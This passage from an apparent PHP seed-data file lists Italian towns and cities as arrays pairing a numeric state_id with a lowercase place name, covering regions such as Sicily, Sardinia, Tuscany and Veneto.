=> 'taranto'],\n ['state_id' => '1872', 'name' => 'taurisano'],\n ['state_id' => '1872', 'name' => 'taviano'],\n ['state_id' => '1872', 'name' => 'terlizzi'],\n ['state_id' => '1872', 'name' => 'toritto'],\n ['state_id' => '1872', 'name' => 'torre santa susanna'],\n ['state_id' => '1872', 'name' => 'torremaggiore'],\n ['state_id' => '1872', 'name' => 'trani'],\n ['state_id' => '1872', 'name' => 'trepuzzi'],\n ['state_id' => '1872', 'name' => 'tricase'],\n ['state_id' => '1872', 'name' => 'triggiano'],\n ['state_id' => '1872', 'name' => 'trinitapoli'],\n ['state_id' => '1872', 'name' => 'turi'],\n ['state_id' => '1872', 'name' => 'ugento'],\n ['state_id' => '1872', 'name' => 'valenzano'],\n ['state_id' => '1872', 'name' => 'veglie'],\n ['state_id' => '1872', 'name' => 'vico del gargano'],\n ['state_id' => '1872', 'name' => 'vieste'],\n ['state_id' => '1872', 'name' => 'villa castelli'],\n ['state_id' => '1874', 'name' => 'san giovanni in marignano'],\n ['state_id' => '1874', 'name' => 'torriana'],\n ['state_id' => '1875', 'name' => 'anzio'],\n ['state_id' => '1876', 'name' => 'atena lucana'],\n ['state_id' => '1876', 'name' => 'castel san giorgio'],\n ['state_id' => '1876', 'name' => 'fisciano'],\n ['state_id' => '1876', 'name' => 'giungano'],\n ['state_id' => '1876', 'name' => 'omignano'],\n ['state_id' => '1877', 'name' => 'alghero'],\n ['state_id' => '1877', 'name' => 'arzachena'],\n ['state_id' => '1877', 'name' => 'assemini'],\n ['state_id' => '1877', 'name' => 'cabras'],\n ['state_id' => '1877', 'name' => 'cagliari'],\n ['state_id' => '1877', 'name' => 'capoterra'],\n ['state_id' => '1877', 'name' => 'carbonia'],\n ['state_id' => '1877', 'name' => 'dorgali'],\n ['state_id' => '1877', 'name' => 'guspini'],\n ['state_id' => '1877', 'name' => 'iglesias'],\n ['state_id' => '1877', 'name' => 'ittiri'],\n ['state_id' => '1877', 'name' => 'la maddalena'],\n ['state_id' => '1877', 'name' => 'macomer'],\n ['state_id' => '1877', 'name' => 'monserrato'],\n ['state_id' => '1877', 'name' => 'nuoro'],\n ['state_id' => '1877', 'name' => 'olbia'],\n ['state_id' => '1877', 'name' => 'oristano'],\n ['state_id' => '1877', 'name' => 'ozieri'],\n ['state_id' => '1877', 'name' => 'porto torres'],\n ['state_id' => '1877', 'name' => 'quartu sant\\'elena'],\n ['state_id' => '1877', 'name' => 'quartucciu'],\n ['state_id' => '1877', 'name' => 'san gavino monreale'],\n ['state_id' => '1877', 'name' => 'sanluri'],\n ['state_id' => '1877', 'name' => 'sant\\'antioco'],\n ['state_id' => '1877', 'name' => 'sassari'],\n ['state_id' => '1877', 'name' => 'selargius'],\n ['state_id' => '1877', 'name' => 'serramanna'],\n ['state_id' => '1877', 'name' => 'sestu'],\n ['state_id' => '1877', 'name' => 'siniscola'],\n ['state_id' => '1877', 'name' => 'sinnai'],\n ['state_id' => '1877', 'name' => 'sorso'],\n ['state_id' => '1877', 'name' => 'tempio pausania'],\n ['state_id' => '1877', 'name' => 'terralba'],\n ['state_id' => '1877', 'name' => 'tortoli'],\n ['state_id' => '1877', 'name' => 'villacidro'],\n ['state_id' => '1878', 'name' => 'nule'],\n ['state_id' => '1879', 'name' => 'altare'],\n ['state_id' => '1880', 'name' => 'aci castello'],\n ['state_id' => '1880', 'name' => 'aci catena'],\n ['state_id' => '1880', 'name' => 'aci sant\\'antonio'],\n ['state_id' => '1880', 'name' => 'acireale'],\n ['state_id' => '1880', 'name' => 'adrano'],\n ['state_id' => '1880', 'name' => 'agira'],\n ['state_id' => '1880', 'name' => 'agrigento'],\n ['state_id' => '1880', 'name' => 'alcamo'],\n ['state_id' => '1880', 'name' => 'altofonte'],\n ['state_id' => '1880', 'name' => 'aragona'],\n ['state_id' => '1880', 'name' => 'augusta'],\n ['state_id' => '1880', 'name' => 'avola'],\n ['state_id' => '1880', 'name' => 'bagheria'],\n ['state_id' => '1880', 'name' => 'barcellona'],\n ['state_id' => '1880', 'name' => 'barrafranca'],\n ['state_id' => '1880', 'name' => 'belmonte mezzagno'],\n ['state_id' => '1880', 'name' => 'belpasso'],\n ['state_id' => '1880', 'name' => 'biancavilla'],\n ['state_id' => '1880', 'name' => 'bronte'],\n ['state_id' => '1880', 'name' => 'caccamo'],\n ['state_id' => '1880', 'name' => 'caltagirone'],\n ['state_id' => '1880', 'name' => 'caltanissetta'],\n ['state_id' => '1880', 'name' => 'campobello di licata'],\n ['state_id' => '1880', 'name' => 'campobello di mazara'],\n ['state_id' => '1880', 'name' => 'canicatti'],\n ['state_id' => '1880', 'name' => 'capaci'],\n ['state_id' => '1880', 'name' => 'capo d\\'orlando'],\n ['state_id' => '1880', 'name' => 'carini'],\n ['state_id' => '1880', 'name' => 'carlentini'],\n ['state_id' => '1880', 'name' => 'castelbuono'],\n ['state_id' => '1880', 'name' => 'casteldaccia'],\n ['state_id' => '1880', 'name' => 'castellammare del golfo'],\n ['state_id' => '1880', 'name' => 'casteltermini'],\n ['state_id' => '1880', 'name' => 'castelvetrano'],\n ['state_id' => '1880', 'name' => 'catania'],\n ['state_id' => '1880', 'name' => 'catenanuova'],\n ['state_id' => '1880', 'name' => 'cefalu'],\n ['state_id' => '1880', 'name' => 'chiaramonte gulfi'],\n ['state_id' => '1880', 'name' => 'cinisi'],\n ['state_id' => '1880', 'name' => 'comiso'],\n ['state_id' => '1880', 'name' => 'corleone'],\n ['state_id' => '1880', 'name' => 'enna'],\n ['state_id' => '1880', 'name' => 'erice'],\n ['state_id' => '1880', 'name' => 'favara'],\n ['state_id' => '1880', 'name' => 'ficarazzi'],\n ['state_id' => '1880', 'name' => 'fiumefreddo di sicilia'],\n ['state_id' => '1880', 'name' => 'floridia'],\n ['state_id' => '1880', 'name' => 'francofonte'],\n ['state_id' => '1880', 'name' => 'gela'],\n ['state_id' => '1880', 'name' => 'giardini-naxos'],\n ['state_id' => '1880', 'name' => 'giarre'],\n ['state_id' => '1880', 'name' => 'grammichele'],\n ['state_id' => '1880', 'name' => 'gravina di catania'],\n ['state_id' => '1880', 'name' => 'ispica'],\n ['state_id' => '1880', 'name' => 'lentini'],\n ['state_id' => '1880', 'name' => 'leonforte'],\n ['state_id' => '1880', 'name' => 'licata'],\n ['state_id' => '1880', 'name' => 'lipari'],\n ['state_id' => '1880', 'name' => 'marsala'],\n ['state_id' => '1880', 'name' => 'mascali'],\n ['state_id' => '1880', 'name' => 'mascalucia'],\n ['state_id' => '1880', 'name' => 'mazara del vallo'],\n ['state_id' => '1880', 'name' => 'mazzarino'],\n ['state_id' => '1880', 'name' => 'melilli'],\n ['state_id' => '1880', 'name' => 'menfi'],\n ['state_id' => '1880', 'name' => 'messina'],\n ['state_id' => '1880', 'name' => 'milazzo'],\n ['state_id' => '1880', 'name' => 'militello in val di catania'],\n ['state_id' => '1880', 'name' => 'misilmeri'],\n ['state_id' => '1880', 'name' => 'misterbianco'],\n ['state_id' => '1880', 'name' => 'modica'],\n ['state_id' => '1880', 'name' => 'monreale'],\n ['state_id' => '1880', 'name' => 'motta sant\\'anastasia'],\n ['state_id' => '1880', 'name' => 'mussomeli'],\n ['state_id' => '1880', 'name' => 'naro'],\n ['state_id' => '1880', 'name' => 'nicosia'],\n ['state_id' => '1880', 'name' => 'niscemi'],\n ['state_id' => '1880', 'name' => 'noto'],\n ['state_id' => '1880', 'name' => 'paceco'],\n ['state_id' => '1880', 'name' => 'pachino'],\n ['state_id' => '1880', 'name' => 'palagonia'],\n ['state_id' => '1880', 'name' => 'palazzolo acreide'],\n ['state_id' => '1880', 'name' => 'palermo'],\n ['state_id' => '1880', 'name' => 'palma di montechiaro'],\n ['state_id' => '1880', 'name' => 'partanna'],\n ['state_id' => '1880', 'name' => 'partinico'],\n ['state_id' => '1880', 'name' => 'paterno'],\n ['state_id' => '1880', 'name' => 'patti'],\n ['state_id' => '1880', 'name' => 'pedara'],\n ['state_id' => '1880', 'name' => 'piazza armerina'],\n ['state_id' => '1880', 'name' => 'porto empedocle'],\n ['state_id' => '1880', 'name' => 'pozzallo'],\n ['state_id' => '1880', 'name' => 'priolo gargallo'],\n ['state_id' => '1880', 'name' => 'racalmuto'],\n ['state_id' => '1880', 'name' => 'raffadali'],\n ['state_id' => '1880', 'name' => 'ragusa'],\n ['state_id' => '1880', 'name' => 'ramacca'],\n ['state_id' => '1880', 'name' => 'randazzo'],\n ['state_id' => '1880', 'name' => 'ravanusa'],\n ['state_id' => '1880', 'name' => 'ribera'],\n ['state_id' => '1880', 'name' => 'riesi'],\n ['state_id' => '1880', 'name' => 'riposto'],\n ['state_id' => '1880', 'name' => 'rosolini'],\n ['state_id' => '1880', 'name' => 'salemi'],\n ['state_id' => '1880', 'name' => 'san cataldo'],\n ['state_id' => '1880', 'name' => 'san giovanni gemini'],\n ['state_id' => '1880', 'name' => 'san giovanni la punta'],\n ['state_id' => '1880', 'name' => 'san giuseppe jato'],\n ['state_id' => '1880', 'name' => 'san gregorio di catania'],\n ['state_id' => '1880', 'name' => 'sant\\'agata di militello'],\n ['state_id' => '1880', 'name' => 'sant\\'agata li battiati'],\n ['state_id' => '1880', 'name' => 'santa croce camerina'],\n ['state_id' => '1880', 'name' => 'santa flavia'],\n ['state_id' => '1880', 'name' => 'santa teresa di riva'],\n ['state_id' => '1880', 'name' => 'sciacca'],\n ['state_id' => '1880', 'name' => 'scicli'],\n ['state_id' => '1880', 'name' => 'scordia'],\n ['state_id' => '1880', 'name' => 'siracusa'],\n ['state_id' => '1880', 'name' => 'sortino'],\n ['state_id' => '1880', 'name' => 'taormina'],\n ['state_id' => '1880', 'name' => 'termini imerese'],\n ['state_id' => '1880', 'name' => 'terrasini'],\n ['state_id' => '1880', 'name' => 'trabia'],\n ['state_id' => '1880', 'name' => 'trapani'],\n ['state_id' => '1880', 'name' => 'trecastagni'],\n ['state_id' => '1880', 'name' => 'tremestieri etneo'],\n ['state_id' => '1880', 'name' => 'troina'],\n ['state_id' => '1880', 'name' => 'valderice'],\n ['state_id' => '1880', 'name' => 'valguarnera caropepe'],\n ['state_id' => '1880', 'name' => 'villabate'],\n ['state_id' => '1880', 'name' => 'villafranca tirrena'],\n ['state_id' => '1880', 'name' => 'vittoria'],\n ['state_id' => '1880', 'name' => 'zafferana etnea'],\n ['state_id' => '1881', 'name' => 'monteriggioni'],\n ['state_id' => '1881', 'name' => 'monteroni d arbia'],\n ['state_id' => '1882', 'name' => 'delebio'],\n ['state_id' => '1882', 'name' => 'talamona'],\n ['state_id' => '1884', 'name' => 'faggiano'],\n ['state_id' => '1884', 'name' => 'riva del garda'],\n ['state_id' => '1885', 'name' => 'castilenti'],\n ['state_id' => '1885', 'name' => 'controguerra'],\n ['state_id' => '1886', 'name' => 'bruino'],\n ['state_id' => '1886', 'name' => 'busano'],\n ['state_id' => '1886', 'name' => 'buttigliera alta'],\n ['state_id' => '1886', 'name' => 'cavour'],\n ['state_id' => '1886', 'name' => 'chieri'],\n ['state_id' => '1886', 'name' => 'colleretto giacosa'],\n ['state_id' => '1886', 'name' => 'cuceglio'],\n ['state_id' => '1886', 'name' => 'giaveno'],\n ['state_id' => '1886', 'name' => 'mazze'],\n ['state_id' => '1886', 'name' => 'mercenasco'],\n ['state_id' => '1886', 'name' => 'piobesi'],\n ['state_id' => '1886', 'name' => 'rivoli'],\n ['state_id' => '1886', 'name' => 'robassomero'],\n ['state_id' => '1886', 'name' => 'scarmagno'],\n ['state_id' => '1886', 'name' => 'strambino'],\n ['state_id' => '1886', 'name' => 'turin'],\n ['state_id' => '1886', 'name' => 'villar perosa'],\n ['state_id' => '1886', 'name' => 'volpiano'],\n ['state_id' => '1887', 'name' => 'agliana'],\n ['state_id' => '1887', 'name' => 'altopascio'],\n ['state_id' => '1887', 'name' => 'anghiari'],\n ['state_id' => '1887', 'name' => 'arezzo'],\n ['state_id' => '1887', 'name' => 'aulla'],\n ['state_id' => '1887', 'name' => 'bagno a ripoli'],\n ['state_id' => '1887', 'name' => 'barberino di mugello'],\n ['state_id' => '1887', 'name' => 'barga'],\n ['state_id' => '1887', 'name' => 'bibbiena'],\n ['state_id' => '1887', 'name' => 'borgo san lorenzo'],\n ['state_id' => '1887', 'name' => 'bucine'],\n ['state_id' => '1887', 'name' => 'buggiano'],\n ['state_id' => '1887', 'name' => 'calcinaia'],\n ['state_id' => '1887', 'name' => 'calenzano'],\n ['state_id' => '1887', 'name' => 'camaiore'],\n ['state_id' => '1887', 'name' => 'campi bisenzio'],\n ['state_id' => '1887', 'name' => 'campiglia marittima'],\n ['state_id' => '1887', 'name' => 'capannori'],\n ['state_id' => '1887', 'name' => 'cappelle'],\n ['state_id' => '1887', 'name' => 'capraia'],\n ['state_id' => '1887', 'name' => 'carmignano'],\n ['state_id' => '1887', 'name' => 'carrara'],\n ['state_id' => '1887', 'name' => 'cascina'],\n ['state_id' => '1887', 'name' => 'castagneto carducci'],\n ['state_id' => '1887', 'name' => 'castelfiorentino'],\n ['state_id' => '1887', 'name' => 'castelfranco di sotto'],\n ['state_id' => '1887', 'name' => 'castiglion fiorentino'],\n ['state_id' => '1887', 'name' => 'cecina'],\n ['state_id' => '1887', 'name' => 'cerreto guidi'],\n ['state_id' => '1887', 'name' => 'certaldo'],\n ['state_id' => '1887', 'name' => 'chiesina uzzanese'],\n ['state_id' => '1887', 'name' => 'chiusi'],\n ['state_id' => '1887', 'name' => 'civitella in val di chiana'],\n ['state_id' => '1887', 'name' => 'colle di val d\\'elsa'],\n ['state_id' => '1887', 'name' => 'collesalvetti'],\n ['state_id' => '1887', 'name' => 'cortona'],\n ['state_id' => '1887', 'name' => 'empoli'],\n ['state_id' => '1887', 'name' => 'fiesole'],\n ['state_id' => '1887', 'name' => 'figline valdarno'],\n ['state_id' => '1887', 'name' => 'firenze'],\n ['state_id' => '1887', 'name' => 'fivizzano'],\n ['state_id' => '1887', 'name' => 'florence'],\n ['state_id' => '1887', 'name' => 'foiano della chiana'],\n ['state_id' => '1887', 'name' => 'follonica'],\n ['state_id' => '1887', 'name' => 'forte dei marmi'],\n ['state_id' => '1887', 'name' => 'fucecchio'],\n ['state_id' => '1887', 'name' => 'gavorrano'],\n ['state_id' => '1887', 'name' => 'greve in chianti'],\n ['state_id' => '1887', 'name' => 'grosseto'],\n ['state_id' => '1887', 'name' => 'impruneta'],\n ['state_id' => '1887', 'name' => 'lari'],\n ['state_id' => '1887', 'name' => 'lastra a signa'],\n ['state_id' => '1887', 'name' => 'livorno'],\n ['state_id' => '1887', 'name' => 'lucca'],\n ['state_id' => '1887', 'name' => 'massa'],\n ['state_id' => '1887', 'name' => 'massa marittima'],\n ['state_id' => '1887', 'name' => 'massarosa'],\n ['state_id' => '1887', 'name' => 'monsummano terme'],\n ['state_id' => '1887', 'name' => 'montale'],\n ['state_id' => '1887', 'name' => 'monte argentario'],\n ['state_id' => '1887', 'name' => 'monte san savino'],\n ['state_id' => '1887', 'name' => 'montecatini-terme'],\n ['state_id' => '1887', 'name' => 'montelupo fiorentino'],\n ['state_id' => '1887', 'name' => 'montemurlo'],\n ['state_id' => '1887', 'name' => 'montepulciano'],\n ['state_id' => '1887', 'name' => 'montespertoli'],\n ['state_id' => '1887', 'name' => 'montevarchi'],\n ['state_id' => '1887', 'name' => 'montignoso'],\n ['state_id' => '1887', 'name' => 'montopoli in val d\\'arno'],\n ['state_id' => '1887', 'name' => 'orbetello'],\n ['state_id' => '1887', 'name' => 'pescia'],\n ['state_id' => '1887', 'name' => 'pietrasanta'],\n ['state_id' => '1887', 'name' => 'pieve a nievole'],\n ['state_id' => '1887', 'name' => 'piombino'],\n ['state_id' => '1887', 'name' => 'pisa'],\n ['state_id' => '1887', 'name' => 'pistoia'],\n ['state_id' => '1887', 'name' => 'poggibonsi'],\n ['state_id' => '1887', 'name' => 'poggio a caiano'],\n ['state_id' => '1887', 'name' => 'ponsacco'],\n ['state_id' => '1887', 'name' => 'pontassieve'],\n ['state_id' => '1887', 'name' => 'pontedera'],\n ['state_id' => '1887', 'name' => 'ponticino'],\n ['state_id' => '1887', 'name' => 'pontremoli'],\n ['state_id' => '1887', 'name' => 'portoferraio'],\n ['state_id' => '1887', 'name' => 'prato'],\n ['state_id' => '1887', 'name' => 'quarrata'],\n ['state_id' => '1887', 'name' => 'reggello'],\n ['state_id' => '1887', 'name' => 'rignano'],\n ['state_id' => '1887', 'name' => 'roccastrada'],\n ['state_id' => '1887', 'name' => 'rosignano marittimo'],\n ['state_id' => '1887', 'name' => 'san casciano'],\n ['state_id' => '1887', 'name' => 'san giovanni valdarno'],\n ['state_id' => '1887', 'name' => 'san giuliano terme'],\n ['state_id' => '1887', 'name' => 'san miniato'],\n ['state_id' => '1887', 'name' => 'sansepolcro'],\n ['state_id' => '1887', 'name' => 'santa croce sull\\'arno'],\n ['state_id' => '1887', 'name' => 'santa maria a monte'],\n ['state_id' => '1887', 'name' => 'scandicci'],\n ['state_id' => '1887', 'name' => 'seravezza'],\n ['state_id' => '1887', 'name' => 'serravalle pistoiese'],\n ['state_id' => '1887', 'name' => 'sesto fiorentino'],\n ['state_id' => '1887', 'name' => 'siena'],\n ['state_id' => '1887', 'name' => 'signa'],\n ['state_id' => '1887', 'name' => 'sinalunga'],\n ['state_id' => '1887', 'name' => 'sovicille'],\n ['state_id' => '1887', 'name' => 'terranuova bracciolini'],\n ['state_id' => '1887', 'name' => 'vaiano'],\n ['state_id' => '1887', 'name' => 'varna'],\n ['state_id' => '1887', 'name' => 'vecchiano'],\n ['state_id' => '1887', 'name' => 'viareggio'],\n ['state_id' => '1887', 'name' => 'vinci'],\n ['state_id' => '1887', 'name' => 'volterra'],\n ['state_id' => '1888', 'name' => 'guarrato'],\n ['state_id' => '1890', 'name' => ' san giorgio'],\n ['state_id' => '1890', 'name' => 'dro'],\n ['state_id' => '1891', 'name' => 'asolo'],\n ['state_id' => '1891', 'name' => 'conegliano'],\n ['state_id' => '1891', 'name' => 'cordignano'],\n ['state_id' => '1891', 'name' => 'gaiarine'],\n ['state_id' => '1891', 'name' => 'ormelle'],\n ['state_id' => '1891', 'name' => 'possagno'],\n ['state_id' => '1891', 'name' => 'revine lago'],\n ['state_id' => '1892', 'name' => 'basiliano'],\n ['state_id' => '1892', 'name' => 'bicinicco'],\n ['state_id' => '1892', 'name' => 'buttrio'],\n ['state_id' => '1892', 'name' => 'coseano'],\n ['state_id' => '1892', 'name' => 'pradamano'],\n ['state_id' => '1892', 'name' => 'san giovanni al natisone'],\n ['state_id' => '1892', 'name' => 'torreano'],\n ['state_id' => '1893', 'name' => 'amelia'],\n ['state_id' => '1893', 'name' => 'assisi'],\n ['state_id' => '1893', 'name' => 'bastia umbra'],\n ['state_id' => '1893', 'name' => 'castiglione del lago'],\n ['state_id' => '1893', 'name' => 'citta di castello'],\n ['state_id' => '1893', 'name' => 'corciano'],\n ['state_id' => '1893', 'name' => 'deruta'],\n ['state_id' => '1893', 'name' => 'foligno'],\n ['state_id' => '1893', 'name' => 'gualdo tadino'],\n ['state_id' => '1893', 'name' => 'gubbio'],\n ['state_id' => '1893', 'name' => 'magione'],\n ['state_id' => '1893', 'name' => 'marsciano'],\n ['state_id' => '1893', 'name' => 'narni'],\n ['state_id' => '1893', 'name' => 'orvieto'],\n ['state_id' => '1893', 'name' => 'perugia'],\n ['state_id' => '1893', 'name' => 'san giustino'],\n ['state_id' => '1893', 'name' => 'spello'],\n ['state_id' => '1893', 'name' => 'spoleto'],\n ['state_id' => '1893', 'name' => 'terni'],\n ['state_id' => '1893', 'name' => 'todi'],\n ['state_id' => '1893', 'name' => 'umbertide'],\n ['state_id' => '1895', 'name' => 'arsago seprio'],\n ['state_id' => '1895', 'name' => 'busto arsizio'],\n ['state_id' => '1895', 'name' => 'cassano magnago'],\n ['state_id' => '1895', 'name' => 'gazzada'],\n ['state_id' => '1895', 'name' => 'oggiona con santo stefano'],\n ['state_id' => '1895', 'name' => 'solbiate arno'],\n ['state_id' => '1895', 'name' => 'solbiate olona'],\n ['state_id' => '1895', 'name' => 'ternate'],\n ['state_id' => '1895', 'name' => 'venegono inferiore'],\n ['state_id' => '1896', 'name' => 'abano terme'],\n ['state_id' => '1896', 'name' => 'adria'],\n ['state_id' => '1896', 'name' => 'albignasego'],\n ['state_id' => '1896', 'name' => 'altavilla vicentina'],\n ['state_id' => '1896', 'name' => 'arzignano'],\n ['state_id' => '1896', 'name' => 'badia polesine'],\n ['state_id' => '1896', 'name' => 'bassano del grappa'],\n ['state_id' => '1896', 'name' => 'belfiore'],\n ['state_id' => '1896', 'name' => 'belluno'],\n ['state_id' => '1896', 'name' => 'borso del grappa'],\n ['state_id' => '1896', 'name' => 'bovolone'],\n ['state_id' => '1896', 'name' => 'bussolengo'],\n ['state_id' => '1896', 'name' => 'cadoneghe'],\n ['state_id' => '1896', 'name' => 'caldogno'],\n ['state_id' => '1896', 'name' => 'camisano vicentino'],\n ['state_id' => '1896', 'name' => 'campodarsego'],\n ['state_id' => '1896', 'name' => 'campolongo maggiore'],\n ['state_id' => '1896', 'name' => 'camponogara'],\n ['state_id' => '1896', 'name' => 'camposampiero'],\n ['state_id' => '1896', 'name' => 'caorle'],\n ['state_id' => '1896', 'name' => 'carbonera'],\n ['state_id' => '1896', 'name' => 'casale sul sile'],\n ['state_id' => '1896', 'name' => 'casier'],\n ['state_id' => '1896', 'name' => 'cassola'],\n ['state_id' => '1896', 'name' => 'castel d\\'azzano'],\n ['state_id' => '1896', 'name' => 'castelfranco veneto'],\n ['state_id' => '1896', 'name' => 'castello di godego'],\n ['state_id' => '1896', 'name' => 'castelnuovo del garda'],\n ['state_id' => '1896', 'name' => 'cavallino-treporti'],\n ['state_id' => '1896', 'name' => 'cavarzere'],\n ['state_id' => '1896', 'name' => 'cerea'],\n ['state_id' => '1896', 'name' => 'chiampo'],\n ['state_id' => '1896', 'name' => 'chioggia'],\n ['state_id' => '1896', 'name' => 'cittadella'],\n ['state_id' => '1896', 'name' => 'colombano'],\n ['state_id' => '1896', 'name' => 'concordia sagittaria'],\n ['state_id' => '1896', 'name' => 'conegliano'],\n ['state_id' => '1896', 'name' => 'conselve'],\n ['state_id' => '1896', 'name' => 'cornedo vicentino'],\n ['state_id' => '1896', 'name' => 'creazzo'],\n ['state_id' => '1896', 'name' => 'dolo'],\n ['state_id' => '1896', 'name' => 'due carrare'],\n ['state_id' => '1896', 'name' => 'dueville'],\n ['state_id' => '1896', 'name' => 'eraclea'],\n ['state_id' => '1896', 'name' => 'este'],\n ['state_id' => '1896', 'name' => 'feltre'],\n ['state_id' => '1896', 'name' => 'galzignano terme'],\n ['state_id' => '1896', 'name' => 'grezzana'],\n ['state_id' => '1896', 'name' => 'iesolo'],\n ['state_id' => '1896', 'name' => 'isola vicentina'],\n ['state_id' => '1896', 'name' => 'isola della scala'],\n ['state_id' => '1896', 'name' => 'jesolo'],\n ['state_id' => '1896', 'name' => 'legnago'],\n ['state_id' => '1896', 'name' => 'lendinara'],\n ['state_id' => '1896', 'name' => 'lonigo'],\n ['state_id' => '1896', 'name' => 'malo'],\n ['state_id' => '1896', 'name' => 'marano vicentino'],\n ['state_id' => '1896', 'name' => 'marcon'],\n ['state_id' => '1896', 'name' => 'marostica'],\n ['state_id' => '1896', 'name' => 'martellago'],\n ['state_id' => '1896', 'name' => 'mestrino'],\n ['state_id' => '1896', 'name' => 'mira'],\n ['state_id' => '1896', 'name' => 'mirano'],\n ['state_id' => '1896', 'name' => 'mogliano veneto'],\n ['state_id' => '1896', 'name' => 'monselice'],\n ['state_id' => '1896', 'name' => 'montagnana'],\n ['state_id' => '1896', 'name' => 'montebelluna'],\n ['state_id' => '1896', 'name' => 'montecchio maggiore'],\n ['state_id' => '1896', 'name' => 'montegrotto terme'],\n ['state_id' => '1896', 'name' => 'monticello conte otto'],\n ['state_id' => '1896', 'name' => 'motta di livenza'],\n ['state_id' => '1896', 'name' => 'murano'],\n ['state_id' => '1896', 'name' => 'musile di piave'],\n ['state_id' => '1896', 'name' => 'mussolente'],\n ['state_id' => '1896', 'name' => 'negrar'],\n ['state_id' => '1896', 'name' => 'noale'],\n ['state_id' => '1896', 'name' => 'noventa padovana'],\n ['state_id' => '1896', 'name' => 'noventa vicentina'],\n ['state_id' => '1896', 'name' => 'occhiobello'],\n ['state_id' => '1896', 'name' => 'oderzo'],\n ['state_id' => '1896', 'name' => 'ormelle'],\n ['state_id' => '1896', 'name' => 'padova'],\n ['state_id' => '1896', 'name' => 'padua'],\n ['state_id' => '1896', 'name' => 'paese'],\n ['state_id' => '1896', 'name' => 'pescantina'],\n ['state_id' => '1896', 'name' => 'peschiera del garda'],\n ['state_id' => '1896', 'name' => 'pianiga'],\n ['state_id' => '1896', 'name' => 'piazzola sul brenta'],\n ['state_id' => '1896', 'name' => 'pieve di soligo'],\n ['state_id' => '1896', 'name' => 'pievebelvicino'],\n ['state_id' => '1896', 'name' => 'piombino dese'],\n ['state_id' => '1896', 'name' => 'piove di sacco'],\n ['state_id' => '1896', 'name' => 'ponte san nicolo'],\n ['state_id' => '1896', 'name' => 'ponzano veneto'],\n ['state_id' => '1896', 'name' => 'porto tolle'],\n ['state_id' => '1896', 'name' => 'porto viro'],\n ['state_id' => '1896', 'name' => 'portogruaro'],\n ['state_id' => '1896', 'name' => 'preganziol'],\n ['state_id' => '1896', 'name' => 'quinto di treviso'],\n ['state_id' => '1896', 'name' => 'riese pio x'],\n ['state_id' => '1896', 'name' => 'romano dezzelino'],\n ['state_id' => '1896', 'name' => 'roncade'],\n ['state_id' => '1896', 'name' => 'rosa'],\n ['state_id' => '1896', 'name' => 'rovigo'],\n ['state_id' => '1896', 'name' => 'rubano'],\n ['state_id' => '1896', 'name' => 'salzano'],\n ['state_id' => '1896', 'name' => 'san biagio di callalta'],\n ['state_id' => '1896', 'name' => 'san bonifacio'],\n ['state_id' => '1896', 'name' => 'san dona di piave'],\n ['state_id' => '1896', 'name' => 'san giovanni lupatoto'],\n ['state_id' => '1896', 'name' => 'san martino buon albergo'],\n ['state_id' => '1896', 'name' => 'san martino di lupari'],\n ['state_id' => '1896', 'name' => 'san michele al tagliamento'],\n ['state_id' => '1896', 'name' => 'san pietro in cariano'],\n ['state_id' => '1896', 'name' => 'san vendemiano'],\n ['state_id' => '1896', 'name' => 'sant\\'ambrogio'],\n ['state_id' => '1896', 'name' => 'santa maria di sala'],\n ['state_id' => '1896', 'name' => 'santo stino di livenza'],\n ['state_id' => '1896', 'name' => 'santorso'],\n ['state_id' => '1896', 'name' => 'saonara'],\n ['state_id' => '1896', 'name' => 'sarcedo'],\n ['state_id' => '1896', 'name' => 'schio'],\n ['state_id' => '1896', 'name' => 'scorze'],\n ['state_id' => '1896', 'name' => 'sedico'],\n ['state_id' => '1896', 'name' => 'selvazzano dentro'],\n ['state_id' => '1896', 'name' => 'silea'],\n ['state_id' => '1896', 'name' => 'sivizzo'],\n ['state_id' => '1896', 'name' => 'sommacampagna'],\n ['state_id' => '1896', 'name' => 'sona'],\n ['state_id' => '1896', 'name' => 'spinea'],\n ['state_id' => '1896', 'name' => 'spresiano'],\n ['state_id' => '1896', 'name' => 'susegana'],\n ['state_id' => '1896', 'name' => 'taglio di po'],\n ['state_id' => '1896', 'name' => 'teolo'],\n ['state_id' => '1896', 'name' => 'tezze sul brenta'],\n ['state_id' => '1896', 'name' => 'thiene'],\n ['state_id' => '1896', 'name' => 'torri di quartesolo'],\n ['state_id' => '1896', 'name' => 'trebaseleghe'],\n ['state_id' => '1896', 'name' => 'trevignano'],\n ['state_id' => '1896', 'name' => 'treviso'],\n ['state_id' => '1896', 'name' => 'trissino'],\n ['state_id' => '1896', 'name' => 'valdagno'],\n ['state_id' => '1896', 'name' => 'valdobbiadene'],\n ['state_id' => '1896', 'name' => 'valeggio sul mincio'],\n ['state_id' => '1896', 'name' => 'vedelago'],\n ['state_id' => '1896', 'name' => 'venezia'],\n ['state_id' => '1896', 'name' => 'venice'],\n ['state_id' => '1896', 'name' => 'verona'],\n ['state_id' => '1896', 'name' => 'vicenza'],\n ['state_id' => '1896', 'name' => 'vigodarzere'],\n ['state_id' => '1896', 'name' => 'vigonovo'],\n ['state_id' => '1896', 'name' => 'vigonza'],\n ['state_id' => '1896', 'name' => 'villafranca di verona'],\n ['state_id' => '1896', 'name' => 'villorba'],\n ['state_id' => '1896', 'name' => 'vittorio veneto'],\n ['state_id' => '1896', 'name' => 'volpago del montello'],\n ['state_id' => '1896', 'name' => 'zane'],\n ['state_id' => '1896', 'name' => 'zero branco'],\n ['state_id' => '1896', 'name' => 'zevio'],\n ['state_id' => '1897', 'name' => 'cona'],\n ['state_id' => '1897', 'name' => 'marghera'],\n ['state_id' => '1897', 'name' => 'oriago di mira'],\n ['state_id' => '1897', 'name' => 'tessera'],\n ['state_id' => '1898', 'name' => 'piedimulera'],\n ['state_id' => '1899', 'name' => 'crescentino'],\n ['state_id' => '1899', 'name' => 'moncrivello'],\n ['state_id' => '1899', 'name' => 'rovasenda'],\n ['state_id' => '1899', 'name' => 'trino'],\n ['state_id' => '1900', 'name' => ' valeggio sul mincio'],\n ['state_id' => '1900', 'name' => 'cadidavid'],\n ['state_id' => '1900', 'name' => 'colognola ai colli'],\n ['state_id' => '1900', 'name' => 'pastrengo'],\n ['state_id' => '1900', 'name' => 'valgatara'],\n ['state_id' => '1901', 'name' => ' montebello vicentino'],\n ['state_id' => '1901', 'name' => 'alonte'],\n ['state_id' => '1901', 'name' => 'arcugnano'],\n ['state_id' => '1901', 'name' => 'arzignano'],\n ['state_id' => '1901', 'name' => 'barbarano vicentino'],\n ['state_id' => '1901', 'name' => 'breganze'],\n ['state_id' => '1901', 'name' => 'brendola'],\n ['state_id' => '1901', 'name' => 'bressanvido'],\n 